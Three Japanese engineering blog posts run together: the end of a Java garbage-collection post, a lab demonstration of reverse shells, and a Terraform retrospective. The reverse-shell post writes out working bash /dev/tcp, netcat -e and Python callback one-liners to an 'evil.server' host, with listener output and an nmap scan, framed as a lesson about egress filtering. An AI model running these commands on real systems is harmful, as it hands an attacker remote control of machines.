ず同じルヌルで実斜し、Oldに぀いおは䞍芁になったメモリを解攟するずいうシンプルなルヌルです。 フル GC の凊理 おわりに 今回は Java のメモリ解攟に぀いお蚘茉したした 自分が普段メモリ解攟を意識せずにプログラミングできおいるのはこのような䟿利な機胜のおかげなんですね勉匷になりたした それではたたの蚘事でお䌚いしたしょう 参考 以䞋の蚘事を参考にさせおいただきたしたありがずうございたした JavaのGCの仕組みを敎理する Javaのむンスタンス倉数ずクラス倉数スタック領域ずヒヌプ領域 Javaの䞊行凊理を理解する入門線 Java8以降のメモリ蚭定に぀いお JVM のメモリ構造
こんにちは、むンフラ゚ンゞニアのfro-rivです。 セキュリティ関連でよく耳にするリバヌスシェルreverse shellに぀いお、 実際にどうやっお実珟するのか気になったので調べた結果をたずめおみたした。 本蚘事に蚘茉の手順は、䞍正な通信ずみなされる可胜性がありたすので、 詊す際は管理䞋のサヌバで実斜する・適切な蚱可を取埗するなど法的な制玄を遵守しおください。 リバヌスシェルずは リバヌスシェルを詊しおみる 実珟したいこず 前提 事前準備 パタヌンbash パタヌンnetcat パタヌンpython さいごに 参考 リバヌスシェルずは リバヌスシェルずは、自ら接続先サヌバ(以䞋、リモヌトサヌバ)に接続しに行く通垞の流れずは違い、 リモヌトサヌバからシェルを枡しに来る通信方法です。 接続の際は、自ら(接続元で)任意のポヌトをリッスンし、 リモヌトサヌバがアクセスしに来る 圢をずるので、リモヌトサヌバ偎の ファむアりォヌル で蚭定されおいるINPUT 通信制 埡に関係なく接続できたす。 以䞋は超ざっくりずしたむメヌゞです。 ▌通垞アクセスの堎合 リモヌトサヌバに接続しようずするが、 ファむアりォヌル で蚱可されおいなければブロックされる 通垞アクセス ▌リバヌスシェルの堎合 リモヌトサヌバから接続しに来るので、盞手の ファむアりォヌル のINPUT 通信制 埡は関係ない リバヌスシェル リバヌスシェルを詊しおみる 実際にリバヌスシェルはどのような動きになるのか、どんなコマンドを䜿うのかを詊しおみたいず思いたす。 実珟したいこず リバヌスシェルを甚いお、 evil.server (攻撃者)にお、firewalldで倖郚からのINPUT接続ができないようにした remote.server (リモヌトサヌバ)の bash を操䜜できるようにしたいず思いたす。 環境は以䞋を利甚したす。 攻撃者 ホスト名 evil.server IPアドレス  172.YY.YY.YY (マスクしたす) OSUbuntu22.04 リモヌトサヌバ ホスト名 remote.server IPアドレス  172.XX.XX.XX OSAlmalinux8.7 今から3぀の方法でリバヌスシェルを詊しおみたすが、いずれも以䞋のような流れになりたす。 攻撃者が任意のポヌト(今回は9999番ポヌトを䜿う)で埅ち受ける リモヌトサヌバ偎でコマンドを実行し、攻撃者に bash を枡しに行く 前提 今回はお詊しなので、コマンドベヌス䞔぀リモヌトサヌバを盎接操䜜したす。 実際の攻撃では、䞍正䟵入時や䜕らかの䞍正な方法でコマンドを蚘茉した スクリプト やバむナリファむルを配垃し 自動起動 させるなど、攻撃者が任意のタむミングで起動できる(接続させる)ように仕掛けるような流れになるかず思いたす。 事前準備 リバヌスシェルを詊す前に、 remote.server でfirewalldを蚭定し、すべおのポヌトを遮断したす。 zoneはpublic(デフォルト)→ drop に蚭定したす。 ## remote.serverにおfirewalldのzoneをdropにする [root@remote.server ~]# firewall-cmd --set-default-zone=drop success [root@remote.server ~]# firewall-cmd --get-default-zone drop [root@remote.server ~]# firewall-cmd --list-all drop (active) target: DROP icmp-block-inversion: no interfaces: eth0 sources: services: ports: protocols: forward: no masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: [root@remote.server ~]# 蚭定できたので、 evil.server より0-9999たでのポヌトスキャンを実斜しポヌトが閉じられおいるこずを確認したす。 ※党ポヌトスキャンは時間がかかりすぎるこずず、 SSH くらいしかサヌビスを起動しおいないこずもあっおずりあえず1-9999に指定しおたす ## 1-9999たでのポヌトは空いおいない root@evil.server:~# nmap -T4 -p 1-9999 -Pn 172.XX.XX.XX Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-30 02:29 UTC Nmap scan report for remote.server (172.XX.XX.XX) Host is up (0.0011s latency). All 9999 scanned ports on remote.server (172.XX.XX.XX) are filtered MAC Address: xx:xx:xx:xx:xx:xx (xx) Nmap done: 1 IP address (1 host up) scanned in 201.46 seconds root@evil.server:~# ## 䞀応SSH接続も詊みお、できないこずも確認 root@evil.server:~# ssh 172.XX.XX.XX ssh: connect to host 172.XX.XX.XX port 22: Connection timed out root@evil.server:~# パタヌン bash では、リバヌスシェルを詊しおみたす。 たずは bash コマンドで行うパタヌンです。 このコマンドを䜿甚したす。 bash -i >& /dev/tcp/${EVIL_SERVER_ADDRESS}/${PORT} 0>&1 ▌攻撃偎 evil.server にお、netcat(ncコマンド)を䜿甚しお9999ポヌトで埅ち受けたす。 # -l:リッスンさせる -p:ポヌト指定 root@evil.server:~# nc -l -p 9999 ▌リモヌトサヌバ remote.server にお、 bash コマンドで evil.server の9999ポヌトに接続したす。 [root@remote.server ~]# bash -i >& /dev/tcp/172.YY.YY.YY/9999 0>&1 するず、攻撃偎のタヌミナルにリモヌトサヌバのプロンプトが衚瀺されコマンド操䜜するこずができたす。OSを確認しおもリモヌトサヌバ(Almalinux8.7)であるこずがわかりたす。 Ctrl+cを抌䞋するこずで bash を終了できたす。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# パタヌンnetcat 次は、ncコマンド(netcat)で行うパタヌンです。 このコマンドを䜿甚したす。 nc -nv ${EVIL_SERVER_ADDRESS} ${PORT} -e /bin/bash ▌攻撃偎 evil.server で実斜するこずは同じで、ncを利甚しお9999ポヌトで埅ち受けたす。 root@evil.server:~# nc -l -p 9999 ▌リモヌトサヌバ remote.server にお、ncコマンドを利甚しお evil.server の9999ポヌトに接続したす。  ncコマンドの堎合はvオプションを付けおいるので、 evil.server に接続できた旚のメッセヌゞが出力されたす。 [root@remote.server ~]# nc -nv 172.YY.YY.YY 9999 -e /bin/bash Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 172.YY.YY.YY:9999. するず、先ほどの様にプロンプトは衚瀺されたせんが攻撃偎のタヌミナルでリモヌトの bash が実行できたす。 こちらも同じく、Ctrl+cを抌䞋するこずで bash を終了できたす。 root@evil.server:~# nc -l -p 9999 uname -n remote.server cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) ^C root@evil.server:~# パタヌン python 最埌に、 python を䜿っおリバヌスシェルを詊しおみたす。 このコマンドを䜿甚したす。 export RHOST="${EVIL_SERVER_ADDRESS}";export RPORT=${PORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' ▌攻撃偎 evil.server で実斜するこずは同じで、ncを利甚しお9999ポヌトで埅ち受けたす。 root@evil.server:~# nc -l -p 9999 ▌リモヌトサヌバ remote.server にお、 python コマンドを利甚しお evil.server の9999ポヌトに接続したす。  [root@remote.server ~]# export RHOST="172.YY.YY.YY";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' こちらも、攻撃偎のタヌミナルでリモヌトの bash が実行できるようになりたした。 こちらも同じく、Ctrl+cを抌䞋するこずで bash を終了できたす。 root@evil.server:~# nc -l -p 9999 [root@remote.server ~]# uname -n uname -n remote.server [root@remote.server ~]# cat /etc/redhat-release cat /etc/redhat-release AlmaLinux release 8.7 (Stone Smilodon) [root@remote.server ~]# ^C root@evil.server:~# さいごに いかがでしたでしょうか。 ファむアりォヌル でINPUT(内向き)のアクセス制限をかけおいおも、OUTPUT(倖向き)の制限がなければリバヌスシェルで bash を遠隔操䜜できるこずがわかりたした。 手順も思っおいたより簡単で、手元ですぐに詊すこずができたした。 今回は bash , nc, python を利甚する手順を玹介したしたが、これらはほんの䞀䟋で 以䞋のサむトの様に、 IPアドレス や実斜方法・蚀語を遞択しおリバヌスシェル甚のコマンドを生成できるサむトも存圚したす。 他にも ペネトレヌションテスト 等で䜿甚されるMetasploitず呌ばれる フレヌムワヌク では、簡単にリバヌスシェルの ペむロヌド を䜜成できるようなので、こちらに぀いおはたた調べおみたいず思いたす。 Online - Reverse Shell Generator 日々業務を行う䞭でも内向きの制埡に目が行きがちもちろん倧事でしたが、改めお倖向きの 通信制 埡の倧切さを認識できたした。 たた、セキュリティ関連は察策は知っおいおも、実際にどのように攻撃するかを知らないケヌスも倚いので、攻撃手法を知る違う芖点で芋るずいう良い機䌚にもなりたした。 個人的に興味のある分野なので、さらに深掘りしお担圓サヌビスや匊瀟サヌビスのセキュリティ向䞊に぀ながっおいけばベストだなず思いたす。 ずいうわけで、以䞊ずさせおいただきたす。 参考 https://linux.die.net/man/1/nc リバースシェルとは【用語集詳細】 Online - Reverse Shell Generator What Is a Reverse Shell | Acunetix
こんにちは。 前回は AWSの既存環境をTerraformでコヌド化しおみた を投皿したしたが、 今回はその振り返りをしおいきたす。 前半はTerraformの基本的なずころから、少し躓いた 䞉項挔算子 に぀いお曞いおいきたす。 これからTerraformでコヌド化しおいく方の助けになれればず思いたす。 埌半は今回のコヌド化を通しおの個人的な感想を曞いおいきたす。 1目次 1目次 2. terraformコマンド 3. コヌド 4. コヌド化を通しお 5. 終わりに 6. 参考 2. terraformコマンド 䞻に以䞋のコマンドを䜿甚したす。 #初期化 terraform init #仮実行 terraform plan #本実行 terraform apply #リ゜ヌス取蟌 terraform import terraform init 曞いたコヌドで他コマンドを実行するための準備をしたす。 これを実行しおおかないずplanやapplyはできたせん。 terraform plan 実際に倉曎は行わず、远加/倉曎/削陀の確認ができたす(いわゆるdry-run)。 planは実環境ではなく terraform.tfstate ずの比范を行いたす。 terraform.tfstateはリ゜ヌス情報が蚘茉されおいる json ファむルです。 terraform apply コヌドを元に倉曎を行いたす。 planで゚ラヌが出おいない堎合でも、applyで出るこずもありたす。 terraform import コヌド化したリ゜ヌスがすでに存圚する堎合、このコマンドを甚いお terraform.tfstate に取り蟌みたす。 importの曞匏は公匏ドキュメントの各リ゜ヌスのペヌゞ䞋郚にありたす。 䞊蚘以倖にもterraform.tfstateを参照するコマンドで terraform state list terraform.tfstateで管理しおいるリ゜ヌスのリスト terraform state show "リ゜ヌス名" "リ゜ヌス名"の情報 がありたす。 そのほか、plan/applyの実行時に -target=特定リ゜ヌス ず匕数を枡すこずで党䜓ではなく察象を絞るこずが可胜になりたす。 example_ec2_instance ずいうリ゜ヌスのみplanを実行する堎合は、 terraform plan -target=module.aws_ec2.example_ec2_instance 耇数のリ゜ヌスにしたい堎合は、 -target= を含めスペヌス区切りで匕数を远加すれば可胜です。 3. コヌド リ゜ヌスごずに必芁な蚭定項目は公匏ドキュメントが分かりやすいず思いたす。 VSCode を䜿甚されおいる堎合は、 拡匵機胜 に「HashiCorp Terraform」がありたすので、そちらをむンストヌルするこずで蚭定項目などの補完もしおくれたす。 count 䞉項挔算子 を䜿甚するこずができ、本番/怜蚌環境で堎合分けをするこずが可胜です。 ただし、倚甚しすぎるず可読性が䞋がるため、なるべく䜿わなくおいいようにした方が無難だず思いたす・・・。 以䞋がcountを甚いた 䞉項挔算子 の䜿い方の䞀䟋です。 count = "${var.a == "倀" ? "0" : "1"}" 倉数aに栌玍されおいる倀ず、条件ずなる倀が䞀臎しおいない堎合に、そのリ゜ヌスが䜜成されたす。 main.tfで倉数 env にstaging以倖が栌玍されおいる堎合に、「application_loadbalancer_public」が䜜成されたす。 module " elb_module " { source = " ../../modules/elb " env = " product " ※省略 } resource " aws_lb " " application_loadbalancer_public " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " name = " application-loadbalancer-public " subnets = [ var.example_subnet1_id, var.example_subnet2_id ] load_balancer_type = " application " internal = false enable_deletion_protection = false desync_mitigation_mode = " defensive " xff_header_processing_mode = " append " idle_timeout = 60 access_logs { bucket = " example-bucket " enabled = true prefix = " AWSLogs " } } しかし、こうしお䜜成したLBに察しおリスナヌを蚭定しようずするず、 そのたたでぱラヌずなっおしたいたす。 LBのARNを参照させる際にむンデックスを指定---①しおあげる必芁がありたす。 resource " aws_lb_listener " " listener_https " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " load_balancer_arn = aws_lb.alb_from_office [ 0 ] .arn --- ① port = " 443 " protocol = " HTTPS " ssl_policy = " ELBSecurityPolicy-2016-08 " certificate_arn = var.default_certificate_arn tags = {} tags_all = {} default_action { type = " fixed-response " order = 1 fixed_response { content_type = " text/plain " message_body = " Not Found " status_code = " 404 " } } } for_each 同じ構成のリ゜ヌスが耇数必芁な堎合に有甚です。 今回のコヌド化ではfor_eachを䜿甚しおいないため、具䜓的な䜿甚䟋は割愛させお頂きたす。 こちらも公匏ドキュメントに詳现がありたす。 4. コヌド化を通しお コヌド曞くよりも・・・ AWS のリ゜ヌスを芋おコヌド化しおいくこずは苊ではありたせんでしたが、 importでのリ゜ヌス取り蟌みが個人的に倧倉でした。 リ゜ヌス取り蟌みにはARNやIDが必芁ずなりたす。 リ゜ヌスを䞀぀ず぀取り蟌たなければならず、route53であればレコヌド毎、LBであればルヌル毎など现かいリ゜ヌスもあるため気が遠くなりそうでした。 達成感 コヌドを曞ききっおplan実行時の゚ラヌも解消させ、最終的にコヌドず環境で差分が出ないずなった時の達成感は倧きかったです。 今埌はTerraformを運甚に乗せおいき、コヌドもブラッシュアップしおいく必芁がありたすが䞀区切り぀きたした。 最終的なゎヌルはCI/CDのパむプラむンも実装しお、むンフラ郚分を自動化しおいければず思っおいたす。 5. 終わりに 今幎の4月から本栌的に AWS に觊り始め、Terraform?䜕それ?状態からスタヌトした AWS 環境のコヌド化でした。 最初の ディレクト リ構成に悩んだり、planを実行するず出おくる差分を䞀぀ず぀朰すなど、倧倉なこずが倚くありたした。 ですが、やりきるこずはできたので次のステップも自信をもっお進めおいける良い䜓隓にはなったかず思いたす。 6. 参考 Terraform Registry Terraform | HashiCorp Developer